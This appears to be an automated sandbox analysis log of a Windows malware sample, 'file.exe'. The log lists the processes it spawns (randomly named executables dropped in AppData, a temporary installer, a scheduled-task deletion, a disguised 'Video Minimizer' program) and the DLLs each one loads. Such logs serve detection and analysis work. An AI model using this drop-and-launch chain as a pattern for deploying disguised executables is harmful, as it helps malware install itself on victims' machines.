Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe "C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe "C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe "C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Process created: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp "C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe "C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -i	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
